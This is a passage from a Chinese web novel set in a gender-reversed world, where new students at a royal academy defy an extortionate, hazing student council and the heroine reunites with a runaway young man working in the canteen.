在场的学生会成员四五个,剩下全是新生,就算别人不吭声,同住了三天的十来个外地同学也不会沉默,大家恨不得振臂高呼:“对!学生会先动手的,我们作证!”
苗学监脸色铁青,“都给我住口!”
她不悦的看了看陆锦澜,“又是你,怎么每次闹事都有你?”
陆锦澜理直气壮道:“有不平事自然有不平人,公平公正合理合法就没人闹事了。”
苗学监冷哼一声,对众人道:“学生会收取住宿费是历年来的传统,是我允许的。”
话音刚落,忽听身后有人道:“那又如何?”
四周都是紧张的抽气声,苗学监不敢置信的转过身,惊诧得瞪大了眼睛,“项如蓁你是不是疯了?我是学监。”
项如蓁字字铿锵道:“你是学监,又如何?一个不敢写明的收费款项,一问支支吾吾什么都说不清楚,名目不正去向自然也不明。没有收据,没有凭证,就这么几个人堵在这里索要钱财,和拦路抢劫有什么区别?”
她义正辞严的质问:“难道学监允许,就合理吗?难道历来如此,便对吗?”
苗学监气到发笑,连紧捂着的伤口都感觉不到疼了,“呵呵,我是学监,你们是学生,你们不听我的,想听谁的?”
“听律法的!”人群外围观多时的一名学生终于出声。
众人送目过去,只见那人十七八岁的样子,却是少年老成气势凌厉,一双丹凤眼微微上挑,让人不敢直视。
晏无辛连忙拽了拽陆锦澜的袖子,悄声道:“这是不是和你抢人的那个……”
陆锦澜微微点头,那人大步上前,拱手对学监道:“学生晏钰,熟读律法。《大嬅律》第一百六十七条,任何人不得巧立名目私征民财,违者依盗贼论处。征钱五百文以下,笞四十。过五百文者,坐监三月。”
金一淮等人一听,露出慌乱的神色,不安的看向学监。
晏钰又道:“礼部去年三月颁布了《严禁全国公立院校擅征杂费事札付十七州》,要求各校所征项目一律上报,得礼部批复方可征收,不得巧立名色苛索生员,一切费用张榜公示往来留凭。违者,按《大嬅律》私征民财论罪。”
苗学监浑身一震,不知是不是头痛到站不稳,还是怕到腿软,踉跄着退后了两步。
金一淮和韩离忙在左右扶住她,苗学监稳了稳心神:“不知者不罪,何况今日并没有收取费用,此事作罢。可动手伤人不能就这么算了,刚才是谁把人扔出来的?”
项如蓁和陆锦澜站出来,“我们扔的。”
苗学监看了看满手的血迹,咬牙切齿道:“罚你们打扫教室一个月。”
晏无辛忙举手道:“还有我!我也帮手了。”
其实晏无辛那会儿忙着抬桌子,压根没沾上。但她想,她老是慢半拍。吵架她没赶上帮腔,打架她没赶上帮手,现在只能抢一抢帮罚的机会了。
苗学监狠狠地瞪了她一眼,“那罚你们三个打扫教室一个月。”
苗学监真的流了不少血,脸色越来越苍白,金一淮等人扶着她去看医师,学生会的人也跟着灰溜溜的走了。
等那几个人消失在拐角,近百位新生瞬间爆发出一阵热烈的欢呼,陆锦澜一脚踹开碍事的桌子,“进宿舍喽!”
项如蓁终于露出笑意,兴冲冲的扛起三人的行李,“我先去占位置。”
大家一股脑冲进去,奔向各自的房间。
陆锦澜低声问晏无辛,“这个晏钰跟你同姓,是不是你家亲戚?”
晏无辛连连摇头,“在神京,凌晏赵楚都是大姓,跟你们云州姓陆的一样多,我怎么可能都认识?若论起来,或许八竿子能打着。但咱跟她有过节,现在攀亲戚是不是有点晚了?”
陆锦澜眼珠一转,“她肯定不会承认自己去过逢春楼,咱也装没认出来她,混过去算了。”
晏无辛点了点头,两人默契的上前攀谈。
陆锦澜:“晏同学,刚刚多亏了你。初次见面,在下陆锦澜,幸会。”
晏钰微微一笑,“我见过你。”
陆锦澜一愣,“啊?”
晏钰道:“武试那天我在现场围观,已经见识过几位的本事了。陆同学文采风流武艺卓群,事事争先,你的大名早就家喻户晓,何况你我还是同级的新生,我怎么可能不认识你?”
晏无辛笑了笑,“你知道她的大名,自然也知道我了,我可是被写到诗里的。走,咱们去宿舍吧,再带你认识一下如蓁。”
正好晏钰也被分到了一零六,三人同路。陆锦澜推开一零六的门,看见屋里的人不由愣了一下,身临其境的领会到了“冤家路窄”四个字。
一零六一共八个舍友,除了陆锦澜、项如蓁、晏无辛和孙乐闻之外,剩下四个分别是:逢春楼抢人结了梁子,说话阴阳怪气的晏钰;武试那天陆锦澜振臂一呼,考官让神京考生去抓她,被她踹了两脚的神京本地生吴琼梦;武试前一天挑衅项如蓁,被项如蓁狠狠打脸的楚易舒;还有武试当天,和项如蓁拼得你死我活,互相挑了口子见了血的凌照人。
被分在这个房间,陆锦澜感觉自己睡觉都要睁半只眼。
此时凌照人老毛病又犯了,明明项如蓁已经占了三个下铺的床位,还有一个下铺她不占,非要抢放了陆锦澜行李的铺位。
晏无辛看着她就来气,“我说凌照人,先来后到你懂不懂?那天要不是如蓁手下留情,你今天都该入殓了,你还想怎么样?”
凌照人冷笑一声:“没怎么,我就想挨着项如蓁的铺位睡,我要向她学习,不行吗?至于陆锦澜嘛,和我抢,先赢过我再说。”
陆锦澜还没说话,晏无辛已经替她吹道:“你连如蓁都打不过,还想跟锦澜比?我们锦澜可是能一脚踹烂柱子的,你小心脖子搬家。真是的,比就比。锦澜,教训她。”
陆锦澜心说:你想害死我啊?我今天可没吃药,跟凌照人打,容易被打死。
她呵呵一笑,搬起行李放到项如蓁的上铺,对凌照人道:“从今天开始我们就是舍友了,何必针锋相对呢?你想要,给你,我睡上铺就
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好。”
“呀!”晏无辛大为震惊,忍不住感慨:“锦澜你真是宽容大度,要我可忍不了。”
项如蓁欣慰的拍了拍她肩膀,“锦澜,你进益了,平掌柜还要我提点你,我看你比我还能包容忍耐。”
陆锦澜笑而不语,她这一下真是出乎预料,不仅凌照人傻愣在那儿,连晏钰都过来说:“也许我说错了,你也不是事事都要争的。”
陆锦澜一装装到底,老神在在道:“哎,做人嘛,小事无需计较,大可相逢一笑泯恩仇。”
晏钰喃喃道:“相逢一笑泯恩仇?好胸怀。”
陆锦澜装了个大的,所有人都以为她打凌照人至少有九分胜算,今日是她放了凌照人一马,连凌照人自己都这么觉得。只有她自己知道,她此时还是个药物选手。
不过按照她目前的生命值,加上她每晚修习,迟早无敌。因为别人会一天天变老,她则是一天天变强。到时候活个几百岁,又老又强又不死,自己都害怕。
现阶段,还是苟一点吧。
大家收拾好铺位,去聆听了新生训话。苗学监头上已经缠了厚厚的纱布,恶狠狠的看着陆锦澜她们说:“严禁打架斗殴,谁再打架就去扫茅房。”
三人悄悄握紧了手,差点笑出声来。
又是训话又是领书本的,折腾了大半天,终于到晚饭时间。
没等去食堂,晏无辛先让大家有个心理准备,“咱们学院的饭,出了名的难吃。”
项如蓁道:“你是没吃过苦,过一段清粥白菜的日子,什么都觉得好吃了。”
陆锦澜劝道:“先去吃吧,实在吃不下再想办法。”
她们交的是包月的伙食费,不吃钱也不给退,不休沐又不准出去,总不能硬饿着,只能无奈的吃食堂。
一进食堂的门,看到大家的脸色就知道餐食水准了,凌照人已经对着餐盘里的菜骂骂咧咧。
项如蓁道:“她也是没吃过苦。”
项如蓁排在最前面,先打了一碗看不见肉的肉汤,喝了一口差点吐出来。
晏无辛:“怎么说?”
项如蓁忍了又忍,只道:“白菜豆腐都比这个强,恐怕这世上没什么比这个肉汤更难吃了。”
说了她又要了一勺炸蘑菇,刚塞到嘴里,整张脸都皱了起来。
项如蓁:“我错了,有比肉汤更难吃的。”
三人对视一眼,脸上都是苦笑。
陆锦澜拎着空餐盘兴致缺缺的排在最后,前面的晏无辛忽然转过头,双眼放光的对她说:“快看!八号窗口的盛饭男人长得不错,虽然只露出一双眼睛,都能看出是个俊俏公子,身材好极了。”
陆锦澜虽然手握男频系统,但是每次听到爹味发言,还是下意识的抵触。她忍不住翻了个白眼,“你有毛病啊?没见过男人啊,食堂的大爷你都不放过。”
她漫不经心的走过去,“一勺米饭。”
里面的人犹豫了一下,“你只吃这么一点吗?”
这个声音,怎么有点像……
隔着竹帘看不真切,陆锦澜微微俯身,在柜台和竹帘中间的盛饭口,看见了一双令人过目不忘的眼睛。
那人正如她一样,透过狭小的窗口凝望着她,在她注视的目光中悄然摘下了面巾。
陆锦澜猛地瞪大了眼睛,“是你!”
20. 第 20 章
里面的人莞尔一笑,正是刚到神京时初遇的那位白衣公子。
陆锦澜实在太意外了,“好巧,你怎么会在这儿?那天你怎么不打招呼就走了?”
“其实我那时候也在逃婚,所以被家里人抓走了,不过我又跑出来了。我就知道,你一定会考中的,恭喜你。”
“你没出事就好,我还怕你出了什么意外。或者,故意耍我。对了,你……”
陆锦澜有一万句话要说,后面的同学受不了开始催促,“你打不打饭啊?”
陆锦澜:“打打打,再给我来一勺。”
里面的人笑着又舀了一勺米饭,低声道:“那本书我早就托人还回去了,我还抄录了一本,你要看吗?”
“好啊,什么时候方便?我找你拿。”
二人说起来没完,这回不仅后面的同学抱怨,连晏无辛都返回来催她。
“你刚还说我没见过男人,你怎么还跟人聊上了?吃不吃饭了?”晏无辛说着下意识的弯腰朝里面看了一眼,“果然长得……哎?这不是那天耍我那位?你给我出来!”
陆锦澜连忙拦着她,“别破防!有话好好说,这里面有误会。”
里面的人也不高兴,“你怎么还跟这个轻浮的人做朋友?”
陆锦澜一个头两个大,忙道:“这也是误会,回头再跟你解释。”
她拖着晏无辛回到餐桌,晏无辛当即发难:“陆锦澜你不够意思,朋友郎不可抢。如蓁,你快说说她。”
项如蓁干噎着馒头,淡然的问陆锦澜,“你又觊觎无辛的男人了?”
“什……什么叫又啊?我承认我上回是看了她那些个应子几眼,但我可没别的心思。再说了,这次这个又不是无辛的男人,她就是大街上跟人家搭讪几句,被人家甩了而已,人家对她没兴趣。”
晏无辛:“对我没兴趣,对你有兴趣?”
“有啊,我帮他借书,我们还聊了一路,简直是从诗词歌赋聊到人生哲学,我们还一起被狗撵被人骂,我们至少有故事。你和他,只有误会。”
“误会什么?我看就是他人品有问题,莫名其妙耍得我满大街找人。”
陆锦澜连忙解释道:“这个我问过,他怕你纠缠,所以没敢直接拒绝你,只是想了个办法脱身而已。”
晏无辛两手一摊,“我看起来像是会纠缠良家夫男的流氓吗?”
陆锦澜塞了口饭,没回答。
项如蓁决断道:“此男接连招惹了你俩,勾三搭四不是好男人。因为一个男人伤了和气,不值当,你们都不要和他接触了。”
晏无辛:“我同意。”
陆锦澜:“我不同意。”
她心绪复杂的看着项如蓁,“你是我见过的最讲理的人,可以说是不畏一切讲死理的猛人。但是你在性别议题上,实在是有失偏颇。是无辛和我主动去招惹人家,怎么变成了他勾三搭四了?在这个女尊男卑的社会,男人家的清白是多么重要,不要随随便便给人扣上德行有失的帽子。”
项如蓁愣了一下,“你说得也有道理,但不管怎么样,你们两个不要因为这件事伤了姐妹情谊。”
陆锦澜:“反正我不会,要不公平竞争吧,我没意见。”
晏无辛白了她一眼,“竞争个屁,他骂我轻浮,我一分胜算也没有。”
陆锦澜噗嗤一笑,“我回头帮你解释,他也对你有误会。”
晏无辛叹了口气,“算了吧,姐妹如手足,男人如衣服,我懒得跟你抢。”
陆锦澜喜笑颜开,“多谢!以后我要是和他成了,你们都得来喝喜酒。”
项如蓁冷静道:“你不是还有婚约吗?你娘会让你娶一个厨工吗?”
陆锦澜:“……”
晏无辛:“我绝不是出于忮忌,故意泼你冷水。咱们是肝胆相照的朋友,我才提醒你。你这样善良的老实女人最容易被骗了,别看他长得好看,你就神魂颠倒。他这样有心机的男人,不像你想得那么简单。你想啊,他一看就是大户人家的小公子,怎么会沦落到来食堂做厨工?说不定是抱着什么目的接近你,你要留个心眼儿。”
陆锦澜听着这熟悉的话术,心情复杂。
完了!我成了逛青楼但善良单纯容易被心机男骗的大女孩儿了。
她仔细一想,她在这个世界真的干了许多从来没干过也不敢干的事。
偷家里的钱、考试前一天喝到吐、开学第一天害得学监脑袋流血,喝酒斗殴闹事逛青楼,但竟然没有一个人批判她,走到哪儿都有人夸她是大英雌,有女儿气概,纯娘们儿。
连身边的朋友都觉得她好得不得了,生怕她被男人骗了。
而他,只是长得漂亮,什么也没做,就招来无端的揣测。
我的老天奶啊!男频待遇确实爽,但一想到这是个性转版的世界又觉得无比辛酸。
她几次张了张嘴,都不知该如何表达,最后只说出一句:“吃饭吧。”
其实,陆锦澜也好奇白衣公子怎么会出现在这儿的。就算他逃婚从家里跑出来,也不至于来做这么辛苦的工作。
厨工们要准备一日三餐,整日围着灶台吸着油烟,从早到晚的忙活。而且住得地方也很差,后勤人员的宿舍在学院后山靠近树林的位置。这个季节,正是蚊子多的时候,蛇虫鼠蚁什么都有。
厨工们住的是十几个人的大通铺,洗漱都得跑到溪边自己打水。陆锦澜守在厨工宿舍通往溪边的必经之路,见着那人一把将人拉进了小树林。
“别拉拉扯扯的,给人看见还以为我们做什么见不得人的事。”
陆锦澜笑着松开他,关切道:“你是不是太累了?怎么看起来很不高兴的样子?”
男人冷着脸不说话,陆锦澜忙道:“对了,我给你带了牛肉干。学院的伙食真不是人吃的,咱们坐下边吃边聊。”
她找了块青石,把那包肉干摊开,开始自我介绍:“我叫陆锦澜,我……”
“我知道。”男人突然打断她的话,“我刚刚知道的。”
陆锦澜涌起一丝不祥的预感,“谁跟你说我的坏话了吗?”
男人摇了摇头,“其实我这些天早就听了不少你的故事,你陆大才女的大名如雷贯耳,只不过我刚刚知道你就是陆锦澜。你是云州人,你娘是云州富商陆今朝,对吧?”
陆锦澜:“对啊,你也听说了我的家世?”
“你家里还有姐妹吗?”
“有啊,有个小妹,还有两个弟弟。”
“小妹多大年纪?”
“三岁。”
“哦。”男人眼眸低垂,没再问下去。脸倒是不冷了,就是神色黯淡,看起来很是沮丧。
陆锦澜嚼着肉干
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,笑得颇为暧昧,“这么关心我?还想问什么继续问啊,我都告诉你。”
这话说完,她就后悔了。
我在说什么?我怎么这么油腻啊?干嘛像调戏人家似的?啊!他可千万别把我也当成轻浮的人,像看待无辛那样看待我,我也没机会了。
她急忙转移话题,“那个……说说你吧,我还不知道你的名字呢。”
“我叫……凛丞。”
凛丞用树枝在地上写出自己的名字,娓娓道:“我老家在灵州,上次跑出来,我娘一直派人四处找我。上次在街上等你的时候,不巧被抓住了。她们想押着我去未来妻家赔礼来着,我在路上想了很多办法,好不容易又逃了出来。”
“然后你就来神京了?”
凛丞一脸苦笑,“是啊,不过我在路上浪费了很多时间,没能看到你参加武试。我猜榜上一定有你的名字,可惜我那时候不知道你叫什么名字。我想告诉你那本书已经还了,可不知道去哪儿找你。就每日都来学院附近碰碰运气,碰巧看到招募厨工的消息,我便应征了。”
陆锦澜心跳仿佛停了一下,“你……你是为了见我才来做工的?”
她说得如此直接,凛丞长睫一颤,仓惶的否认:“不……不全是,皇家学院本来就是我想来的地方。”
陆锦澜激动得按住他的手臂,“不全是,那就是也有我的一部分原因?”
不知她什么时候凑得这么近,陌生的气息侵入鼻息,凛丞心慌道:“你别误会……”
“嗯?”陆锦澜有些奇怪,“我误会什么了?”
她还要说什么,树林外传来项如蓁的声音:“锦澜,新生紧急集合,快走吧!”
“来啦!”陆锦澜应了一声,对凛丞道:“我先走了,有什么急事到一零六找我,明天还在这儿见。”
陆锦澜说完就走,凛丞急道:“你还是误会了,我找你只是为了告诉你书的事儿。”
陆锦澜笑着回过身,“那你明天来,我们再说书的事儿。”
“我明天不会来的。”
“我不信!”
“……”
项如蓁看着陆锦澜意气风发的从林子里蹿出来,不禁好奇:“什么事这么高兴?”
陆锦澜:“凛丞是为了我来这儿做厨工的。”
陆锦澜这个得意啊,见到晏无辛立刻炫耀:“我知道凛丞为什么做厨工了。”
晏无辛:“为什么?”
陆锦澜:“为了我。”
项如蓁咳嗽两声,“先别闲聊了,学生会让新生都到礼堂去,咱们别迟到了,免得又起冲突。尤其是你,锦澜,暂时忍耐一二。”
陆锦澜笑着说:“你们放心,我今天心情好,我什么都能忍。”
三人进礼堂时大多数新生已经到了,三人站在最后一排,不一会儿同寝室的晏钰、凌照人等也匆匆赶到。大家站在一起,有的人开始窃窃私语。
楚易舒:“又是学生会这群家伙,仗着比咱们早入学,就摆架子,真想跟她们打一架。”
凌照人骂骂咧咧道:“老娘被折腾一天了,大晚上还不让休息,这叫什么几把事儿?”
晏钰:“别说了,台上的人看着你们呢。”
话音未落,只听啪一声,金一淮手中的教鞭用力击打在桌面上,猛地指向最后一排,“出列受罚!”
21. 第 21 章
礼堂瞬间安静,大家纷纷回头,看向陆锦澜、项如蓁和晏无辛。
在众人注视的目光中,金一淮带着她的部下气势汹汹走下台,直奔队伍后方。
金一淮:“你们三个,给我出列!”
陆锦澜眼睛一蹬,不服道:“我们怎么了?”
金一淮狠瞪了她一眼,“没你的事,你旁边那三个。”
大家这才知道说的是凌照人、楚易舒和晏钰,那三人大概也没料到是奔她们来的,只得自认倒霉的走出队列。
金一淮手执教鞭,一下一下敲打着掌心,教训道:“学生会第一次训诫大会,这么严肃的场合,是你们说闲话的地方吗?在学长面前如此放肆散漫,毫无尊重可言。今天我就拿你们立规矩,给那些自以为是的新生看看,不尊重学长的下场。俯卧撑,两百个。”
“什么?”楚易舒简直怀疑自己的耳朵,“两百个俯卧撑?学长,不至于吧?”
金一淮脸色一沉,“讨价还价,拒不执行,惩罚加重,三百个俯卧撑。”
凌照人都被气笑了,“你不过比我们早入学一年而已,就算你是刚上任的学生会长,新官上任三把火,也得看看烧的是谁吧?我告诉你,我姓凌。”
金一淮佯装怔住:“姓凌?凌家哪个府?”
凌照人得意道:“你最怕的那个府。”
金一淮哈哈大笑,笑得凌照人有些发毛,“你笑什么?”
“学妹,我笑你天真。你以为我怕你们定北侯府吗?知道你们凌家势大,凌晏赵楚,皇上姓赵,赵家都只能排第三,但那又如何?你也不打听打听,我金一淮用得着怕你吗?”
晏钰沉默多时,此刻若有所思的开口道:“学长是御史令金大人的女儿吧?”
金一淮冷哼一声,“算你有见识。”
嬅国实行三尊六部制,除皇帝外,文武百官以丞相、太尉、御史令三位大臣为尊。
丞相晏维津总管一切行政事物,定北侯凌之静的胞妹凌之冲担任太尉,总揽一切军政事物。而金一淮的娘,便是御史台的第一话事人御史令金云凝,负责监察百官,纠察弹劾,肃正纲纪。
三者分庭抗礼,金一淮确实不必怕凌照人。
她将教鞭横在凌照人颈上,“这里不是定北侯府,这里的规矩我说了算。就算你是皇上的女儿,今天这顿罚你也免不了。”
凌照人自出生起,还没遭受过这种待遇,她紧咬着牙,身侧的手早就握成了拳头。
金一淮转过身,她真想挥拳打过去打她一个冷不防,晏钰忙低声道:“别冲动,学监禁止私下斗殴,何况今晚学生会四十多个人都在,对方人多势众,我们占不到便宜。好女不吃眼前亏,认罚吧。”
凌照人愤恨的放开拳头,三个人认命的撑在地上,开始做俯卧撑。
这时有七八个新生刚刚赶到,一进来便被金一淮厉声呵斥:“迟到的,五百个俯卧撑!”
她说着从三人的头上迈过去,迟到的一看这场面也不敢抵抗,老实认罚。
大夏天,礼堂内的气氛比严冬还冷。
项如蓁眉头紧皱,正准备挺身而出,晏无辛和陆锦澜一左一右死死拉住她。
晏无辛低吼:“你干什么?你为凌照人出头,她也不会念你的好。”
项如蓁:“我根本不在意她怎么想,我是对事不对人,欺辱同学就是不对。”
陆锦澜:“我知道你是正义使者,但你刚刚不是说了吗?尽量不要起冲突,要忍耐!”
是啊,不能再打架了。
项如蓁深吸一口气,无奈的点头。
陆锦澜环顾四周,学生会的人下巴高高扬起,新生们却都低着头。同级最傲慢最有背景的同学被人踩在脚下受罚,兔死狐悲,大家都处在一种忐忑迷茫和无力反抗的困顿中。
霸凌行为,是一种疑难杂症。它在许多群体里蔓延,学校、军队、职场几乎无处不在。施暴者疯狂压迫,管理者默许纵容,旁观者恐惧沉默,受害者只有无力和痛苦。
她知道要解决顽疾,需要一套行之有效的方案。需要各方支持,需要毅力和勇气。需要细细筹谋,徐徐图之。但当事情涌现在眼前时,陆锦澜却忽然转念:需要个屁,干就完了!
哪里有压迫,哪里就有反抗。陆锦澜低声道:“如蓁说得没错,欺辱同学是不对的。”
晏无辛无奈的看了她一眼,弱弱道:“这次要做什么先告诉我一声,你知道我反应慢,跟不上节奏。”
项如蓁急道:“别冲动,先忍一忍,等回去从长计议。”
陆锦澜憋着一口气,听到台上说新生要帮学长做值日的时候,暗道:我忍!
听到新生每两天要帮学长洗一次衣物的时候,她开始计算:啊,这一个月我得每天打扫一次教室,每两天还得去给人家洗一次衣服,我读的是皇家学院还是家务学院?这我都得忍?
听到新生见到学长要行大礼的时候,她开始震惊:串种啦?
哪学来的这套?大家见到院长学监师傅们,也不过是低头拱手微微弯腰。见到学长竟然要鞠躬九十度,以为自己是学祠里供奉的神像,疯了吧?
陆锦澜眼看着学生会的一干爪牙正握着教鞭敲打着新生的脊背,“弯下去,你不会弯腰吗?”
□□被击打的声音此起彼伏,这是一场声势浩大的服从性测试,但有的人拒绝服从。
当教鞭朝着陆锦澜挥来的时候,她一把将其握住。
面对金一淮震惊诧异的神情,陆锦澜礼貌道:“我忍你祖宗!”
啪!她夺过教鞭折成两段,朝着台上的讲桌掷了过去。
两截教鞭好似两支利箭,砰砰两声钉进木板,全场惊呼一声,瞬间哗然。
凌照人等做俯卧撑做到要快麻木,看见这一幕一下子趴到地上,目瞪口呆。
学生会那些爪牙也没空监督她们受罚了,迅速朝金一淮靠拢。
项如蓁、晏无辛与陆锦澜背对背而立,瞬间形成防御之势。
陆锦澜冷笑一声,“学监严禁斗殴,你们敢动手吗?”
韩离低声提醒金一淮:“她们三个战力不俗,真动起手来,咱们也得挂彩。众目睽睽之下打起来,回头不好向院长学监她们交代。”
金一淮咬牙看向陆锦澜,“你想怎样?”
陆锦澜:“我想告诉你们,哪里有压迫,哪里就有反抗。”
她看向惶恐不安的新生,高声道:“同学们,我们无需忍受学生会的压迫和羞辱。我们是来读书报国的,为的是济世安民匡扶天下,不是来受气的。学生会不为学生服务,却
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要我们做学生会的奴仆,天理何在?我们绝不能屈服,我们应该反抗!这样的学生会没有资格管理我们,我们走!”
三人齐齐转过身,晏无辛悄声嘀咕:“就咱们三个人走出去,好像有点尴尬。”
陆锦澜:“带动一个是一个,团结一切可团结的力量。”
她们路过大汗淋漓趴在地上看戏的那群家伙,三人默契的伸出了手。
晏钰、楚易舒、凌照人对视一眼,纷纷响应,抓住她们的手利落起身,抹了把脸上的汗就跟着走。
人群中不知谁念叨了一句:“都是一零六的啊。”
孙乐闻听见这话拽住吴琼梦赶紧跟上,她算看明白了,两方已经势同水火,同为一零六的舍友,她俩留下也没有好果子吃,不如跟上大部队,至少在宿舍能睡个安稳觉。
八人一走,人心躁动,又有七八道人影从队列里跑出来,紧随其后。
眼瞅着她们就要走出礼堂了,金一淮忙恐吓道:“你们知道跟她们走有什么后果吗?我不会放过你们的。”
陆锦澜停住脚,微微侧身,乌眉微挑,“各位,你们留在这里,她也不会善待你们的。留在这儿只有挨不完的打,做不完的苦工。大妻主生居天地间,岂能郁郁久居人下?”
这话不仅煽动得人心大力摇摆,连项如蓁听了都觉得豪气陡生,她慨然对众人道:“同学们,你可以放心的跟我们走。我项如蓁以今科榜首的信誉发誓,我们这里没有压迫,不分三六九等,我们不会殴打欺辱,只会守望相助。留在这儿只能做她们的奴隶,跟我们走做我们的姐妹,你们还在犹豫什么?”
晏无辛看两人接连发表了一通演讲,她不吭声又要被落下了,赶紧高呼:“是娘们儿就有点骨气,被欺负这样都不敢走,我看你们连男人都不如。”
三人通过语言煽动、信念感召、刻板印象加激将法等混乱组合一通输出,又有二十多名新生追随而来。
大家豪气干云的走出礼堂,金一淮狼狈得下令:“快把门关上!”
陆锦澜粗略一数,竟然有四十来号人跟出来了。除了一零六和外地帮的,其他都是神京本地生,不少还在武试那天动过手。
陆锦澜道:“过去的事就让它过去,从现在开始,我们都是一条船上的人了。我们要团结互助,不能让任何人分化我们。只要我们团结起来,没有人能把我们怎么样。”
项如蓁连连点头,“大家互相认一认,有什么事也好彼此照应。这两天尽量不要单独行动,如果学生会和你们为难,就让她们来一零六找我。”
晏钰担忧道:“咱们已经和学生会撕破脸,她们肯定不会善罢甘休的。咱们一味防守也不是长久之事,二位可有良策?”
项如蓁老实回答:“那倒没有。”
“啊?”群众发出了惊慌之声。
项如蓁又道:“不过兵来将挡水来土掩,没什么可怕的。”
陆锦澜胸有成竹的笑了笑,“诸位放心,我已有了万全之策。大家回去安心休息,明日静候佳音。”
大家总算松了口气,等众人一走,项如蓁和晏无辛迫不及待的勾住陆锦澜的脖子,悄声询问:“什么万全之策,快告诉我们。”
陆锦澜在二人耳边据实相告:“还没想到,现在回去想。”
22. 第 22 章
陆锦澜好歹在体制内干过基层,有些搞思想工作的经验,深谙内部□□的重要性。队伍刚拉起来,必须得稳住军心。至于办法嘛,可以慢慢想,不是还有一个晚上吗?
回到宿舍,陆锦澜便问凌照人:“你和院长都姓凌,是不是亲戚?”
凌照人沮丧道:“是亲戚,论起来,我管她叫姨姥姥,但没什么用。院长在我们凌氏家族是出了名的大公无私不近人情,她不会因为跟我有亲戚,就帮我做什么的。”
“是吗?”晏无辛语带嘲讽道:“那比武那天的兵器是谁做的手脚?”
凌照人冤枉道:“不是我干的,只是有人告诉我,会把我和项如蓁抽到一组。我以为我能稳赢,怎么会忌惮到去提前使手段?”
“那个……兵器是……”角落里的楚易舒颤抖着举起了手,“我……我家里找人做的。”
晏无辛拧着眉咬住舌尖,“我真想踹你两脚。”
倒是项如蓁淡然一笑,“算了,让我们都学学锦澜的胸怀,相逢一笑泯恩仇。”
陆锦澜劝道:“那倒不用,该报的仇还是得报。”
楚易舒吓得站了起来,“如蓁,我给你赔罪,你大人不记小人过。可你……你保证了的,你说跟你走咱们亲如姐妹互相帮助,你不能打我啊,你是顶天立地的大女人,你得守信用啊。”
项如蓁朝她挥了挥手,“我这人说话算话,睡你的觉吧。此事揭过,不必再提了。”
楚易舒终于放下心,可晏无辛摸了摸下巴,还是好奇,“那故意把如蓁和凌照人分到一组的,会是谁呢?”
凌照人:“这我真不知道,我也只是接到纸条传话而已。”
晏钰回来便躺在床上闭着眼一动不动,这会儿忽然出声道:“谁都有可能,如蓁前一日锋芒太露,家世又简单,还是个毫无根基的外地人。皇家学院卧虎藏龙,各方势力盘根错节。谁都有可能不想你入选,这个谜底会成为悬案,或许永远都没机会揭晓真相。”
她从上铺侧过身看向项如蓁,“你从勉州走到神京,一定吃了很多苦。”
记忆的碎片在项如蓁脑海中浮现,但眉宇间的沧桑一闪而过,取而代之的是胜利者的微笑。
“是,遇到过很多麻烦。”她笑道:“但我想做的事,从来没有人能够阻止我。我会改变这个世界,希望有一天,如我一样的人,再也不会遭遇我所遇到的不公。即使出身寒微,依然可以平等的争取一切机会。”
晏钰怔了怔,“那是不可能的。”
“有什么不可能?我知道很难,但我会一直努力,至死方休。你知道……”
项如蓁还想继续说什么,晏无辛忽然在门口喊:“如蓁,锦澜找你,出来一下!”
项如蓁跟着晏无辛跑出来,找到宿舍外抠地的陆锦澜,“什么事啊?”
陆锦澜看着她长叹一口气,“我说如蓁呐。”
两人按着项如蓁坐下,开始苦口婆心的劝导。
晏无辛:“你怎么能和晏钰说那种话呢?你知道她是什么身份吗?”
项如蓁:“她什么身份,我都不怕。”
陆锦澜连连拱手,“我说项大人,我们知道你牛你头铁你勇者无惧,但我求求你,不要把别人都想得和你一样正直好不好?这世上大多数人,都是带着立场思考问题的,你大公无私,但别人会计较得失。像凌照人晏钰那些人,是当前秩序的获益着。你说你要建立一个人人平等的新秩序,人家会高兴吗?”
项如蓁沉默片刻,忽然眼睛一亮,“你总结得真好,对,我就是想建立一个人人平等的新秩序,你把我心里想得准确的描述出来了。”
她兴奋得拍了拍陆锦澜的肩膀,陆锦澜肩膀钝痛,笑不出来,“说了半天,你就听见这句?”
项如蓁笑了笑,“不是,你们的意思我都明白了。你们放心,以后这些话,我不会跟外人说了。从今天开始,我会把人性作为参考因素来思考问题。对了,那个万全之策你想到没有?”
陆锦澜长舒一口气,枕在她腿上仰望星空,“没有万全之策,但是想了三计,希望明天能够成功。”
*
计之一,找院长告状,希望能够获得院长的支持。
一大早,一零六集体出动,在凌知序的必经之路徘徊。楚易舒甚至爬到树上,侦察观测,“来了来了!”
陆锦澜连忙冲上去,飞快的请安问好,然后便直接问道:“学生会欺压新生的事,您知道吗?”
凌知序点了点头,“知道。”
陆锦澜一愣,“您知道,为何不管?”
“我知道学生会给你们造成了一些压力,但有时候压力不一定是坏事。至少现在,你们已经和本地生打成一片了,不是吗?”
陆锦澜忙道:“这不是一回事,外地生和本地生本就没有血海深仇,朝夕相处自然会形成凝聚力。但学生会以摧毁尊严近乎侮辱的方式对待大家,快速形成凝聚力又怎样?不觉得这太残忍了吗?”
凌知序微微一笑,“或许吧,但人世本来就是残忍的。早早磨炼你们的抗压能力,我认为不是坏事。何况你的学长们有分寸,不会做得太过火。这件事,学院不会管,你们学生内部的问题,自己要学会解决。”
陆锦澜想了一下,“请您稍等一下,我跟同学们传达一下您的意思。”
此时校内人来人往,已经有不少人注意到陆锦澜在和院长说话了。一零六其余七人站在不远处,焦急的等待着,直到陆锦澜笑着招手,大家连忙跑过来。
晏无辛一脸期待:“院长愿为我们主持公道?”
陆锦澜果断回答:“不愿,这个稍后再说。我们现在施行计之二,大家一定要高兴一点,凌照人你去抱抱你姨姥。”
凌照人:“这么突然?她从我三岁之后就没抱过我了。”
陆锦澜:“那你就说这句词,去!”
凌照人把心一横,冲过去一把抱住凌知序,埋头假哭:“呜呜姨姥,你从我三岁之后就没抱过我了。”
凌知序愣了一下,拍了拍她的背,“哎呦,你这都这么高了,姨姥抱不动了。”
凌知序说着才发现七八个新生将她围住,晏无辛可怜巴巴道:“院长,您好慈祥,让我想起我的姥姥,您能不能摸摸我的头?”
凌知序鲜少被夸奖慈爱,一时动容,苍老的目光流露出对少年人的怜爱,她竟笑了笑,“好,摸摸头。”
她顺手把大家的脑袋都摸了一遍,“好了,去赶早课吧。”
凌知序转身离去,陆锦澜:“我数三二一,大家一起大声地说谢谢院长。”
凌知序没走几步,身后忽然传来响亮而整齐的四个字:“谢谢院长!”
这就是计之二,假装获取了院长的支持。
